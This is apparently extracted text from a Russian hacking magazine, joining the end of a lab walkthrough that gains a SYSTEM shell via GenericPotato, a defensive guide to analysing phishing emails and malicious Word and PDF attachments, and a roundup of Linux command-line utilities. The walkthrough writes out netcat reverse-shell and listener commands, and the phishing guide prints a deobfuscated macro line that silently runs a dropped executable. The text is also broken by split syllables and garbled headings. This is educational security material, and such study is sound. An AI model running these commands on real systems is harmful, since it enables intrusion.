ата ки нам понадо бит ся . Заг рузим его на хост с помощью
коман ды . Еще заг рузим netcat, с помощью которо го выпол ним бэк- 
коннект на свой хост.

updatePlant id
URL

GenericPotato
upload

Заг рузка необ ходимо го прог рам мно го обес печения на уда лен ный хост

А теперь запус тим. Он дол жен прос лушивать порт 7777, куда обра тит ся кли- 
ент, и выпол нить бэк шелл с netcat. Уви дим сооб щение, что ука зан ный порт
прос лушива ется.

GenericPotato.exe -p "C:\Users\sonny\Documents\nc64.exe" -a "[ip] [
port] -e cmd.exe" -e HTTP -l 7777

За пуск GenericPotato

Ак тивиру ем на сво ем локаль ном хос те лис тенер. Я советую исполь зовать
.rlwrap

apt sudo install rlwrap 
rlwrap nc -lvp 5432 

Вы пол ним зап рос к GraphQL на изме нение дан ных, где ука жем в качес тве
 порт, прос лушива емый GenericPotato.sourceURL

curl       

 

-k -X "POST" -H "Content-Type: application/json" --data-binary
'{"query":"mutation{updatePlant(plantId:2, version:2, sourceURL:
"http://localhost:7777")}"}' 'http://localhost:8889/api/graphql'

И тут же получа ем шелл от име ни System.

Флаг адми нис тра тора

Ма шина зах вачена!

https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html
https://github.com/micahvandeusen/GenericPotato
https://github.com/hanslub42/rlwrap
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ПРИВАТНОСТЬ

Фи шинг — один из самых рас простра нен ных век торов атак
и одно из популяр ней ших нап равле ний соци аль ной инже- 
нерии. Что неуди витель но: элек трон ной поч той мы поль- 
зуем ся каж дый день. В этой статье я раз беру кон крет ные
при меры фишин говых писем и рас ска жу, как искать в них
сюр при зы.

ÀÍÀËÈÇ ÇÀÃÎËÎÂÊÀ

Элек трон ное пись мо сос тоит из трех час тей — заголов ка, основной час ти
(тела) и иног да вло жения. В заголов ке пред став лена мар шрут ная информа- 
ция сооб щения. Он может содер жать и дру гие све дения — тип кон тента, дан- 
ные отпра вите ля и адре сата, дату получе ния, абсо лют ный адрес отпра вите ля,
адрес поч тового сер вера и реаль ный адрес элек трон ной поч ты, с которо го
или на который было отправ лено сооб щение.

Важные заголовки

Return-Path
Ад рес элек трон ного пись ма Return-Path содер жит информа цию о ста тусе
дос тавки. Поч товый сер вер чита ет содер жимое заголов ка Return-Path
для обра бот ки недос тавлен ных или воз вра щен ных отпра вите лю писем. Сер- 
вер получа теля исполь зует это поле для иден тифика ции «под дель ных» писем:
зап рашива ет все раз решен ные IP-адре са, свя зан ные с доменом отпра вите- 
ля, и сопос тавля ет их с IP-адре сом авто ра сооб щения. Если сов падений нет,
элек трон ное пись мо отправ ляет ся в спам.

Received
Это поле отоб ража ет све дения обо всех сер верах, через которые прош ло
элек трон ное пись мо. Пос ледняя запись — пер воначаль ный адрес отпра вите- 
ля.

Reply-To
Ад рес элек трон ной поч ты в этом поле исполь зует ся для отправ ки ответно го
сооб щения. В под дель ных пись мах он может отли чать ся от адре са отпра- 
вите ля.

Received-SPF
Ме тод SPF (Sender Policy Framework, инфраструк тура полити ки отпра вите ля)
под твержда ет, что сооб щения с кон крет ного домена были отправ лены с сер- 
вера, который кон тро лиру ется вла дель цем это го домена. Если зна чение это- 
го поля — Pass («Про вер ка прой дена»), источник пись ма счи тает ся под- 
линным.

DKIM
Служ ба DKIM (Domain Keys Identied Mail, email с домен ными клю чами) отме- 
чает исхо дящую поч ту зашиф рован ной под писью внут ри заголов ков, а поч- 
товый сер вер получа теля рас шифро выва ет ее, исполь зуя откры тый ключ сов- 
мес тно го поль зования, что бы убе дить ся, что сооб щение не было изме нено
при пересыл ке.

X-Headers
Этим тер мином обоз нача ются экспе римен таль ные заголов ки или заголов ки
рас ширения. Обыч но они добав ляют ся пос тавщи ками услуг элек трон ной поч- 
ты получа теля. Для обна руже ния спа ма исполь зуют ся поля типа X-FOSE-
Spam и X-Spam-Score.

Рас смот рим сле дующее элек трон ное сооб щение.

Ис ходные дан ные в заголов ке элек трон ного пись ма

1. В при веден ном выше при мере вид но, что обратный путь не сов пада ет
с адре сом в поле From («От»). Это озна чает, что все недос тавлен ные
пись ма будут воз вра щены по пер вому адре су.

2. В поле Received («Получе но») имя домена, с которо го пись мо было
отправ лено, — hiworks.co.kr (сайт для мас киров ки отпра вите ля элек трон- 
ных писем), а не gki.com. Мож но сде лать вывод: пись мо под дель ное. Кро- 
ме того, по резуль татам про вер ки IP-адрес (142.11.243.65) не сов пада ет
с адре сом gki.com.

3. Ад рес отпра вите ля From отли чает ся от адре са в поле Reply-To. Таким
обра зом, ответ на пись мо будет нап равлен в поч товый ящик на домене
@gmail.com, а не @gki.com.

4. Зна чение поля Received-SPF — neutral («ней траль но»); домен gki.com
не дает в отно шении IP-адре са (142.11.243.65) ни раз решения, ни зап рета.
Даль нейшая про вер ка Whois выяви ла, что этот домен не свя зан с IP-адре- 
сом 142.11.243.65.

5. Зна чение поля DKIM — none («нет»). Это озна чает, что элек трон ное пись- 
мо не под писано.

Су дя по все му, дан ное сооб щение под дель ное. Извле чен ные из пись ма
иден тифика цион ные дан ные необ ходимо внес ти в чер ный спи сок.

ÀÍÀËÈÇ ÒÅËÀ ÏÈÑÜÌÀ

Те ло фишин гового пись ма — основная часть элек трон ного сооб щения,
имен но его содер жание приз вано обма нуть поль зовате ля. Содер жимое
сооб щения адре сова но лич но получа телю и выг лядит нас толь ко прав- 
доподоб ным, что жер тва час то попада ется в ловуш ку зло умыш ленни ка.

Фи шин говое пись мо на тему COVID-19

Спа мер пред став ляет ся пос тавщи ком услуг медицин ско го стра хова ния.
Пись мо содер жит информа цию о сче те на опла ту стра хов ки на слу чай
заболе вания COVID-19, которую жер тва яко бы заказа ла недав но.

Фи шин говое пись мо на тему COVID-19 (про дол жение)

Кро ме того, в кон це сооб щения име ется стро ка «Это пись мо было про вере но
McAfee». Бла года ря это му пись мо выг лядит безопас ным.

Од нако если мы наведем кур сор мыши на кноп ку «Под робнее» (See Details),
то уви дим ссыл ку на сер вис OneDrive. Вмес то того что бы нажать эту ссыл ку,
ско пиру ем ее и откро ем в бра узе ре.

Ска чан ный по ссыл ке OneDrive файл HTML

Не зави симый переход по ссыл кам из спа ма и фишин говых писем (
) луч ше выпол нять в изо лиро- 

ван ной сре де. Если у тебя нет такой сре ды, пос тавь вир туал ку или вос поль- 
зуйся сер висом кросс-бра узер ного тес тирова ния, нап ример Browserling.

hxxps://
1drv.ms/u/s!Ajmzc7fpBw5lrzwfPwIkoZRelG4D

Ссыл ка ведет на HTML-стра ницу, которая редирек тит нас на дру гой сайт:

hxxps://selimyildiz.com.tr/wp-includes/fonts/greec/xls/xls/open/
index.htm 

Фаль шивая стра ница вхо да в Office 365

Эта веб-стра ница похожа на стра ницу онлайн-при ложе ния Microsoft Excel
с зап росом дос тупа к Office 365 для ска чива ния докумен та.

Па нель адми нис тра тора WordPress сай та selimyildiz.com.tr

Что бы про верить под линность стра ницы, сок ратим URL до уров ня домена
и выпол ним заг рузку. Домен пере адре сует нас на стра ницу вхо да в панель
адми нис три рова ния сай та под управле нием WordPress. Собс твен но, уже
на этом эта пе ста новит ся оче вид ным, что мы име ем дело с фишин гом.

Ин форма ция whois о сай те selimyildiz.com.tr

Сог ласно дан ным служ бы whois, домен не был зарегис три рован Microsoft
и соот ветс тву ет пуб лично му IP-адре су 2.56.152.159, который так же не при- 
над лежит Microsoft. Эти дан ные явно сви детель ству ют о том, что откры тый
по ссыл ке сайт соз дан мошен никами.

По пыт ка вхо да с про изволь ными рек визита ми для аутен тифика ции

Для про вер ки поведе ния сай та вер немся на стра ницу вхо да, вве дем про- 
изволь ный логин и пароль и попыта емся ска чать счет. Как и ожи далось, стра- 
ница выда ет ошиб ку, а ука зан ные дан ные из фор мы бла гопо луч но ушли зло- 
умыш ленни кам.

Фаль шивый счет для прив лечения вни мания

Итак, теперь мы зна ем, что это под дель ный сайт. Что делать даль ше? Что бы
про верить фун кцию аутен тифика ции, вновь вве дем про изволь ные рек визиты.
Теперь они при няты! На этот раз бра узер откры вает в фор мате PDF счет,
который выг лядит под линным, отправ ленным некой медицин ской ком пани ей.
Одна ко к тому вре мени, ког да жер тва пой мет, что это фаль шивый счет, ее
логин и пароль будут уже похище ны.

Продолжение статьи →



РАЗМИНИРУЕМ ПОЧТУ
ПРОСТОЕ РУКОВОДСТВО ПО ВЫЯВЛЕНИЮ

ФИШИНГА

ПРИВАТНОСТЬ  НАЧАЛО СТАТЬИ←

ÀÍÀËÈÇ ÂËÎÆÅÍÈÉ

Обыч но во вло жени ях элек трон ной поч ты поль зовате ли пересы лают докумен- 
ты Microsoft Office или фай лы PDF. Эти фор маты час то исполь зуют ся кибер- 
прес тупни ками в качес тве инс тру мен та для заг рузки вре донос ного ПО. Что бы
получить дос туп к сис теме жер твы, зло умыш ленни ки внед ряют в такие фай лы
эле мен ты VBA (Visual Basic Application) или JavaScript и рас простра няют их
с помощью фишин говых писем.

В пер вой час ти это го раз дела мы про ана лизи руем подоз ритель ный
документ Word. Этот документ содер жит мак рос на VBA. Иног да мак рос
запус кает ся при откры тии докумен та, но начиная с вер сии Microsoft Office
2007 для запус ка содер жимого с мак росами необ ходимо раз решение поль-
зовате ля. Что бы обой ти эту защиту, хакеры исполь зуют методы соци аль ной
инже нерии. Они пыта ются заручить ся довери ем жер твы, что бы побудить ее
без раз думий нажать на кноп ку «Раз решить редак тирова ние».

Àíàëèç äîêóìåíòà Word

Наз вание фай ла: .PR_Report.bin
Ути литы, которые нам понадо бят ся:
Oletools;•
Yara;•
Didier Stevens Suite;•
Process Monitor;•
Windows Network Monitor (Packet capture tool).•

Øàã 1. Àíàëèç ñâîéñòâ ôàéëà

Пе ред тем как прис тупить к про вер ке фай ла, сле дует изу чить его свой ства.
Что бы получить эти све дения в Linux, вос поль зуйся коман дой .file

В дан ном слу чае тип фай ла — Microsoft Office Word.

Øàã 2. Ïðèìåíåíèå ïðàâèë Yara

Yara — инс тру мент для иден тифика ции и клас сифика ции вре донос ного ПО.
Он про веря ет фай лы на осно ве сиг натур. Вос поль зуем ся дву мя готовы ми
пра вила ми Yara из прог рам мно го пакета Didier Stevens Suite.

Пра вило Yara ( ), про цесс выпол нения которо го показан выше,
обна ружи ло, что магичес кое чис ло фай ла OLE (D0 CF 11 E0) сов пада ет
с иден тифика тором HEX (магичес кими бай тами) докумен тов Microsoft Office.

maldoc.yara

INFO

Ма гичес кое чис ло — кри тичес кие дан ные,
выделен ные уни каль ные зна чения, которые
не дол жны сов падать с дру гими зна чени ями.

Так же внут ри фай ла были обна руже ны подоз ритель ные вклю чения —
 и .GetProcAddr LoadLibrary

Это пра вило Yara rule ( ) выяв ляет любые встро енные
фай лы PE. Затем оно выпол няет сопос тавле ние пред став ленных выше строк
фай ла. MZ — сиг натура фай ла PE.

contains_pe_file.yara

Øàã 3. Âûäåëåíèå ñîäåðæèìîãî äîêóìåíòà ñ ïîìîùüþ

oledump.py

Файл OLE содер жит потоки дан ных.  ана лизи рует эти потоки
для даль нейше го извле чения мак росов или объ ектов из фай ла.

Oledump.py

На рисун ке выше в потоках 8, 9 и 15 вид ны бук вы  и  соот ветс твен но. 
озна чает, что поток, воз можно, содер жит мак рокод,  — объ ект.

M O М
О

Øàã 4. Èçâëå÷åíèå ñêðèïòà VB èç ìàêðîñà

Код в потоке 8 содер жит метод . Это фун кция для сох ранения докумен- 
та с тем же име нем фай ла.

killo

Код потока 9 содер жит мно жес тво инте рес ных дан ных. В фун кции
 пред став лены име на фай лов  и , при чем 

 копиру ется в  с помощью фун кции . В сле дующей час ти
фун кция вызыва ет метод  из дру гого модуля (поток 8).

Document_Open() 5C.pif 6C.pif 5C.
pif 6C.pif FileCopy

killo
В кон це фун кция  выпол няет замас кирован ную коман ду

с исполь зовани ем обо лоч ки. Убрав мас киров ку, мы уви дим, что 
запус кает ся в фоновом режиме (с помощью метода ); одновре мен но
отправ ляет ся ping-зап рос к localhost.

Document_Close()
6C.pif

vbHide

 100 shell cmd.exe /c ping localhost -n && start Environ("Temp") & "\6
C.pif", vbHide 

Øàã 5. Èçâëå÷åíèå ôàéëà èç îáúåêòà OLE

Оче вид но, документ содер жит встро енный файл, который мож но извлечь
с помощью инс тру мен та oleobj.

Как показа но выше, oleobj пос ле такого извле чения из объ екта сох раня ет
файл в текущей рабочей дирек тории. Выделен ная часть рисун ка содер жит
све дения об исходном и вре мен ном пути, по которо му файл сох раня ет себя
в сис теме пос ле откры тия докумен та.

Øàã 6. Ïîëó÷åíèå ñòàòè÷åñêîé èíôîðìàöèè èç èçâëå÷åííîãî

ôàéëà

Итак, мы извлек ли исполня емый файл PE32 для Windows. Что бы под твер дить
этот вывод, запус тим инс тру мент  для обна руже ния заголов ков PE
внут ри фай ла.

pecheck.py

Øàã 7. Àíàëèç ïîâåäåíèÿ

Нас тро им вир туаль ную машину Windows 7 32-bit, изме ним рас ширение фай ла
на EXE. До его запус ка необ ходимо вклю чить инс тру мен ты Apate DNS
и Windows Network Monitoring.

DNS-зап росы домена C&C, зарегис три рован ные Apate DNS

Се тевой тра фик 5C.exe, зарегис три рован ный при попыт ке обме на дан -
ными с C&C-сер вером

Сог ласно резуль татам ана лиза с помощью Apate DNS и Microsoft Network
Monitoring, файл соз дал про цесс с име нем  и выпол нил нес коль ко
попыток под клю чения к раз личным C&C-сер верам.

5C.exe

Из менения в реес тре, зафик сирован ные Process Monitor

По дан ным Process Monitor, про цесс  внес нес коль ко изме нений в клю- 
чи сис темно го реес тра, име ющие отно шение к нас трой кам интернет-соеди- 
нения. Он отклю чил прок си-сер вер бра узе ра, уста новив зна чение 0 для клю- 
ча  и 09 для 9-бай тно го клю ча . В резуль- 
тате бра узер начал опре делять интернет-нас той ки в авто мати чес ком режиме
нап рямую, без прок си.

5C.exe

ProxyEnable SavedLegacySettings

Итак, документ Word вна чале запус тил мак рос VBA, сох ранил и запус тил
исполня емый файл, соз дал новый про цесс, обме нял ся дан ными с C&C-сер- 
верами и внес неав торизо ван ные изме нения в реестр. Эти све дения дос- 
таточ ны для того, что бы опре делить документ как вре донос ный. Далее мы
можем выпол нить более под робный ана лиз — про вес ти отладку исполня емо- 
го фай ла или изу чить дамп про цес са, что бы боль ше узнать о поведе нии фай- 
ла.

Àíàëèç äîêóìåíòà PDF

До кумент PDF — это набор объ ектов, который опи сыва ет спо соб отоб- 
ражения стра ниц внут ри фай ла.

Что бы побудить поль зовате ля ска чать или открыть документ PDF, такой
файл чаще все го рас сыла ют в элек трон ных пись мах. В момент откры тия
документ PDF обыч но запус кает JavaScript в фоновом режиме. Этот скрипт
может вос поль зовать ся уяз вимостью в при ложе нии Adobe PDF Reader
или незамет но сох ранить встро енный исполня емый файл.

Файл PDF сос тоит из четырех ком понен тов. Это заголо вок, основная часть
(тело), ссыл ки и трей лер (кон цевая мет ка).
1. За голо вок содер жит информа цию о вер сии докумен та и дру гую слу жеб- 

ную информа цию.
2. Те ло PDF содер жит раз личные объ екты (объ екты сос тоят из потоков,

которые исполь зуют ся для хра нения дан ных).
3. Таб лица перек рес тных ссы лок ука зыва ет на каж дый объ ект.
4. Трей лер ука зыва ет на таб лицу перек рес тных ссы лок.

Рас смот рим в качес тве при мера файл Report.pdf.
Инс тру мен ты:

;• Didier Stevens Suite
;• Peepdf

;• Process Monitor
.• Microsoft Network Monitor

Øàã 1. Ïðîñêàíèðóåì äîêóìåíò PDF ñ ïîìîùüþ PDFiD

PDFiD — ком понент прог рам мно го пакета Didier Stevens Suite. Он ска ниру ет
документ PDF, исполь зуя спи сок строк для обна руже ния эле мен тов JavaScript,
встро енных фай лов, дей ствий при откры тии докумен тов и под сче та чис ла
кон крет ных строк внут ри PDF.

Как вид но из резуль татов ска ниро вания, PDFiD выявил в фай ле Report.pdf
нес коль ко объ ектов, потоков, эле мен тов JS, JavaScript и OpenAction. Наличие
таких эле мен тов озна чает, что документ PDF содер жит скрип ты JavaScript
или Flash.

Эле мент  ука зыва ет на при сутс твие внут ри PDF фай лов
дру гих фор матов. Эле мен ты , ,  под ска зыва ют нам,
что при откры тии или прос мотре докумен та PDF выпол няет ся какое-то авто- 
мати чес кое дей ствие.

/Embedded file
/OpenAction AA /Acroform

По токи — это дан ные внут ри объ екта.

Øàã 2. Ïðîñìîòð ñîäåðæèìîãî îáúåêòîâ

Итак, мы выяс нили, что внут ри фай ла PDF содер жится JavaScript. Это будет
отправ ной точ кой ана лиза. Для поис ка кос венно го объ екта JavaScript запус-
тим инс тру мент .pdf-parser.py

Сог ласно резуль тату ска ниро вания, JavaScript запус кает файл virus при каж- 
дом откры тии PDF, поэто му наш сле дующий шаг — извле чение это го фай ла.

Øàã 3. Èçâëå÷åíèå âñòðîåííîãî ôàéëà ñ ïîìîùüþ peepdf

Peepdf — инс тру мент на язы ке Python, содер жит все необ ходимые ком понен- 
ты для ана лиза PDF. Что бы вос поль зовать ся его воз можнос тями, набери
коман ду . Ключ  вклю чает инте рак тивный
режим работы скрип та.

peepdf --i file_name.pdf -i

Что бы узнать боль ше, смот ри справ ку (опция help).

Ре зуль тат ана лиза с помощью peepdf ука зыва ет на то, что в объ екте 14 име- 
ется встро енный файл. При более близ ком рас смот рении это го объ екта мы
уви дим, что он ука зыва ет на объ ект 15; в свою оче редь, объ ект 15 ука зыва ет
на объ ект 16. Наконец, мы обна ружи ваем приз наки наличия фай ла virus внут- 
ри объ екта 17. Судя по содер жимому PDF, в нем есть толь ко один поток,
который так же ука зыва ет на объ ект 17. Таким обра зом, объ ект 17 пред став- 
ляет собой поток со встро енным фай лом.

Внут ри потока 17 содер жится сиг натура фай ла, которая начина ется с ,
и шес тнад цатерич ное (hex) зна чение, начина ющееся с . Это приз наки,
ука зыва ющие на исполня емый файл PE.

MZ
4d 5a

Да лее мы сох раним поток как исполня емый файл .virus.exe

Øàã 4. Àíàëèç ïîâåäåíèÿ

Те перь запус тим этот файл в вир туал ке под Windows 7 32-bit.

Process Explorer отоб ража ет про цес сы, соз данные фай лом virus.exe

Как вид но в окне Process Explorer,  соз дал два подоз ритель ных
про цес са ( , ), которые были оста нов лены пос ле запус ка.

virus.exe
zedeogm.exe cmd.exe

Ком понент Process Monitor зарегис три ровал изме нения в сис теме, вне -
сен ные virus.exe

Сог ласно дан ным Process Monitor, в рам ках запущен ных про цес сов был сох- 
ранен файл . Затем он изме нил пра вило бран дма уэра Windows.
На сле дующем эта пе был запущен файл . Пос ле это го прог- 
рамма запус тила  для выпол нения фай ла  и оста- 
нови ла про цесс.

zedeogm.exe
WinMail.exe

cmd.exe tmpd849fc4d.bat

Та ким обра зом, мы соб рали дос таточ но доказа тель ств того, что этот файл
PDF вре донос ный. Далее мож но при нять допол нитель ные про филак тичес кие
меры — нап ример, выпол нить дво ичную отладку и иссле дова ние памяти
извле чен ных IOC в целях поис ка дру гих угроз.

ÇÀÊËÞ×ÅÍÈÅ

В этой статье мы рас смот рели поиск приз наков фишин га в элек трон ном
пись ме, а так же то, как эта про цеду ра помога ет в про филак тике неиз вес тных
угроз. Были опре деле ны области, в которых сле дует искать эти приз наки. Мы
узна ли, как прес тупни ки скры вают вре донос ные URL в теле элек трон ного
пись ма и какие дей ствия необ ходимы для их про вер ки.

Что делать, что бы обе зопа сить себя:
Ни ког да не доверяй отпра вите лю элек трон ного пись ма. Всег да про веряй
основные иден тифика цион ные дан ные, преж де чем отве тить на пись мо.

•

Не перехо ди по ссыл кам и не откры вай вло жения, если отпра витель пись- 
ма не тот, кем он пред ста вил ся.

•

Зло умыш ленни ки час то исполь зуют про изволь ные име на доменов.
По этой при чине тща тель но про веряй адрес сай та на наличие «опе- 
чаток» — это может быть ресурс, зарегис три рован ный спе циаль но, что бы
ввес ти тебя в заб лужде ние.

•

Пе реп роверяй про исхожде ние сай та, преж де чем ввес ти свои пер сональ- 
ные дан ные — имя, адрес, рек визиты дос тупа, финан совые све дения
и про чие.

•

Ес ли ты понял, что ввел рек визиты дос тупа на подоз ритель ном сай те,
немед ленно сме ни пароль.

•

https://github.com/DidierStevens/DidierStevensSuite
https://github.com/jesparza/peepdf
https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
https://www.microsoft.com/en-us/download/details.aspx?id=4865
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ТРЮКИ

«Это что, мат рица?!» — вос клик нет кто-то из зна комых, гля дя
через твое пле чо на экран ноут бука. Нет, не мат рица, прос то
ты что-то судорож но печата ешь в тер минале. В этой статье я
покажу тебе боль ше двух десят ков ути лит, которые помогут
работать с коман дной стро кой Linux более эффектив но, при- 
ятно и даже кра сиво.

ÑÈÑÒÅÌÀ

Pueue

Ути лита  — инте рес ная шту ка для запус ка дол гих задач и для работы
с соз данной оче редью задач в сис теме, конеч но. Нуж на для тех, кому впол не
оче вид ных для таких слу чаев / / / /  по какой-то при чине
ока зыва ется недос таточ но.

Pueue

jobs fg bg screen tmux

Как пишут сами раз работ чики, Pueue нужен, ког да задачи очень дол гие
либо их нуж но выпол нять парал лель но, имея при этом пол ный кон троль
над ними. Лич но мне ути лита показа лась нам ного более дру желюб ной, чем
штат ный / .bg fg

INFO

 — еще одна попыт ка соз дать удоб ный инс- 
тру мент для работы с cron. Ути лита дела ет при- 
мер но то же самое, что Pueue, так что может
в некото ром смыс ле быть аль тер нативой.

Crongo

NQ

 — еще одна прос тая ути лита, которая поз воля ет запус кать оче реди
из заданий в сис теме. Не то что бы без нее было невоз можно жить, но порой
очень силь но помога ет. Выг лядит куда менее прив лекатель но, чем Pueue,
но и в работе про ще.

Nq

Она нас толь ко прос тая, что для ее исполь зования дос таточ но прос то уви- 
деть при мер:

 

 

 

 
 
 

window1% qget http://mymirror/big1.iso 
window2% qget http://mymirror/big2.iso 
window3% qget http://mymirror/big3.iso 

% mkdir -p /tmp/downloads
% alias qget='NQDIR=/tmp/downloads nq wget'
% alias qwait='NQDIR=/tmp/downloads fq -q'

% qwait

... wait for all downloads to finish ...

Vizex

Ес ли ты работа ешь в тер минале доль ше недели, ты, конеч но, зна ешь о 
и его сухом выводе. Давай разук расим его и сде лаем бли же к людям!

df

 и vizexdf — это апгрейд , который выпол няет свою задачу куда наг- 
ляднее и при ятнее внеш не.

Vizex df

Как выг лядит vizex

bashtop

В филь мах о хакерах люди видят огромные свод ные таб лицы с информа цией
о сис теме и гра фика ми, а у тебя их до сих пор нет? Не беда! Лови  —
это как раз такой даш борд. Если у тебя вдруг есть сво бод ный монитор,
на который его мож но повесить, — ты зна ешь, как добавить +1000 к сво ей
гикану тос ти в гла зах посети телей.

bashtop

Ра бота ет!

Bashtop уме ет показы вать не толь ко общую информа цию, но и детали по каж- 
дому про цес су. Поз воля ет эти про цес сы сор тировать по раз личным парамет- 
рам и лег ко кон фигури рует ся.

А еще есть реали зация это го кра сав ца на Python — . Выг лядит
не менее эффек тно, да и по воз можнос тям не отста ет.

bpytop

Rhit

За нят ная кон соль ная ути лита для ана лиза логов nginx. Встре чай  — это,
конеч но, не , но выг лядит тоже инте рес но.

Rhit
GoAccess

Уме ет рисовать гра фики час тоты зап росов пря мо в кон соли.

Скри ны сты рены с сай та прог раммы

Есть ана лиз трен дов в зап росах и удоб ный гра фичес кий вывод это го в кон- 
соль.

Ко неч но же, все мож но филь тро вать, что бы отсле живать толь ко необ- 
ходимое.

Lnav

 — это ана лиза тор логов, который уме ет работать не толь ко с nginx,
в отли чие от Rhit. Вот спи сок его дос тоинств:
Lnav

мо жет сво дить все тре буемые логи на один экран. Ты можешь задать
монито ринг логов сра зу нес коль ких сер висов, и он покажет все сра зу;

•

уме ет под све чивать текст по фор мату. Име ется десять встро енных фор- 
матов, в том чис ле один «общий», то есть под ходящий поч ти к любому
логу;

•

ав томати чес ки опре деля ет сжа тые логи в фор матах gzip и bzip2 и раз- 
жима ет их на лету;

•

уме ет филь тро вать на осно ве регуляр ных выраже ний. Если выводишь мно- 
го логов сра зу — мож но отфиль тро вать лиш нее;

•

мо жет стро ить гис тограм мы сооб щений по вре мени;•
кра сиво выводит XML и JSON. Прос то наж ми Shift+P;•
к логам мож но обра щать ся как к вир туаль ной SQLite БД, которая обновля- 
ется вмес те с логами в реаль ном вре мени;

•

lnav под держи вает раз ные темы офор мле ния сво его интерфей са;•
при вво де команд так же есть под свет ка син такси са и авто допол нение.•

lnav раз бира ет логи sshd

Пря мо  есть готовые бинар ники под Linux и macOS: видимо, это на
слу чай, если твой сер вер — ста рый мак бук.

на сай те

Butterfly Backup

 — это такая инте рес ная обер тка вок руг rsync, которая уме ет
соз давать и вос ста нав ливать бэкапы. Спи сок уме ний дей стви тель но вну- 
шитель ный:

Buttery Backup

под дер жка тихого бэкапа;•
все бэкапы акку рат но рас сорти рова ны;•
прос мотр све дений о кон крет ном бэкапе;•
под дер жка раз ных режимов копиро вания;•
мож но бэкапить сра зу нес коль ко ком пов, при чем парал лель но;•
мож но вос ста нав ливать копию даже не на том компь юте ре, где она была
соз дана. Теоре тичес ки, это может быть полез но при миг рации на новое
обо рудо вание. Более того, мож но вос ста новить бэкап даже на дру гой
опе раци онной сис теме;

•

под держи вают ся полити ки отно ситель но ста рых бэкапов: их мож но уда- 
лять по дос тижении лимита занято го хра нили ща;

•

эк спорт бэкапов для удоб ной перевоз ки сто рон ними средс тва ми.•

Ус тановить Buttery Backup мож но все го в три коман ды:

git clone https://github.com/MatteoGuadrini/Butterfly-Backup.git 
cd Butterfly-Backup 
sudo python3 setup.py 

При мер исполь зования от авто ра ути литы:

# Полная копия
 pc1 bb backup --computer --destination /nas/mybackup --data User 

Config --type MacOS --mode Full 

# Инкрементальная копия
 pc1 bb backup --computer --destination /nas/mybackup --data User 

Config --type MacOS 

Ес ли прос мотреть спи сок копий коман дой 
, то мож но уви деть крат кое опи сание каж дого сня того бэкапа.

bb list --catalog /nas/
mybackup

 

 

 

 

 

BUTTERFLY BACKUP CATALOG

Backup id: f65e5afe-9734-11e8-b0bb-005056a664e0 
Hostname or ip: pc1 
Timestamp: 2018-08-03 17:50:36

Backup id: 4f2b5f6e-9939-11e8-9ab6-005056a664e0 
Hostname or ip: pc1 
Timestamp: 2018-08-06 07:26:46

Backup id: cc6e2744-9944-11e8-b82a-005056a664e0 
Hostname or ip: pc1 
Timestamp: 2018-08-06 08:49:00

Тут отсутс тву ют некото рые важ ные детали, так что давай пос мотрим на один
из них поб лиже.

 

 

 

bb list --catalog /nas/mybackup --backup-id f65e5afe-9734-11e8-b0bb-
005056a664e0

Backup id: f65e5afe-9734-11e8-b0bb-005056a664e0 
Hostname or ip: pc1 
Type: Full 
Timestamp: 2018-08-03 17:50:36 
Start: 2018-08-03 17:50:36 
Finish: 2018-08-03 18:02:32 
OS: MacOS 
ExitCode: 0 
Path: /nas/mybackup/pc1/2018_08_03__17_50 
List: etc 
Users

И наконец, вос ста нов ление:

 

 

bb restore --computer pc1 --catalog /nas/mybackup --backup-id f65e5afe-
9734-11e8-b0bb-005056a664e0

ÑÊÐÈÏÒÛ

Bash Bible

Для начина ющих и про дол жающих жиль цов кон соли сущес тву ет сер вис 
 (и его род ной брат ): там пред став лены при меры реали зации

раз ных задач в скрип тах, написан ных исклю читель но на чис том Bash (или sh).

Bash
Bible sh bible

Что бы далеко не ходить — вот тебе пароч ка при меров обхо да всех фай лов
и папок в дирек тории на чис том Bash без исполь зования .ls

# Greedy example.
file   for in *; do

     printf '%s\n' "$file"
done

# PNG files in dir.
file .png  for in ~/Pictures/* ; do

     printf '%s\n' "$file"
done

# Iterate over directories.
/  for dir in ~/Downloads/* ; do

     printf '%s\n' "$dir"
done

# Brace Expansion.
file  for in /path/to/parentdir/{file1,file2,subdir/file3}; do

     printf '%s\n' "$file"
done

# Iterate recursively.
 shopt -s globstar 
file /  for in ~/Pictures/** *; do

     printf '%s\n' "$file"
done

 shopt -u globstar 

INFO

Бы ло бы неп равиль но не упо мянуть свя щен ный
zsh с пла гином oh-my-zsh и кас томны ми темами.
Ничего удоб нее для тер минала так и не при дума- 
ли, а мы на «Хакере»  о нем. Нас-
тоятель но рекомен дует ся к озна ком лению!

уже писали

Полезные однострочники
У меня в зак ладках лежит  с раз нооб разны ми однос троч- 
никами — эта кая биб лиоте ка команд на все слу чаи жиз ни.

ин терес ный ресурс

Вот, нап ример, как смон тировать NTFS раз дел из вир туаль ного дис ка
VirtualBox (VDI):

0x hd  
 |   1-8

$ mount -t ntfs-3g -o ro,loop,uid=user,gid=group,umask=0007,fmask=
0117,offset= $( -n 1000000 IMAGE.vdi | grep "eb 52 90 4e 54 46 
53" cut -c ) IMAGE.vdi /mnt/vdi-ntfs 

Conty

Ес ли ты пос тоян но работа ешь в тер минале — порой тебе быва ют нуж ны изо- 
лиро ван ные песоч ницы. Некото рые дела ют их через Docker, соз давая кон тей- 
нер с ОС и копируя туда-сюда фай лы прог раммы; дру гие соз дают chroot-
окру жение и работа ют в нем. Оба спо соба тре буют боль шого количес тва
шагов и наличия root, так что при менять их неудоб но.

Вы ход есть! Инс тру мент  дела ет запуск песоч ницы лег ким и быс- 
трым. Для запус ка кон тей нера не тре бует ся root, а фай лы пос ле выхода
из песоч ницы сох раня ются.

Conty

Пре иму ществ мож но выделить нес коль ко:
все го один исполня емый файл. Никакой обвязки — ска чал и работа ешь;•
соб ран на базе Arch Linux, то есть сра зу содер жит акту аль ные вер сии
драй веров;

•

не тре бует root-прав для запус ка;•
со дер жит Vulkan и OpenGL, то есть под ходит для игр;•
ра бота ет без овер хеда — это тебе не вир туаль ная машина;•
изо лиру ет ФС хос та, но обес печива ет удоб ное вза имо дей ствие песоч- 
ницы с хос том.

•

Для работы необ ходимо все го ничего: , ,  и .tar fuse2 coreutils bash
При мер запус ка от авто ра:

 

 

./conty.sh steam 

./conty.sh lutris 

./conty.sh playonlinux 

./conty.sh wine app.exe

Продолжение статьи →

https://github.com/Nukesor/pueue
https://github.com/snipem/crongo
https://github.com/leahneukirchen/nq
https://github.com/bexxmodd/vizex
https://github.com/aristocratos/bashtop
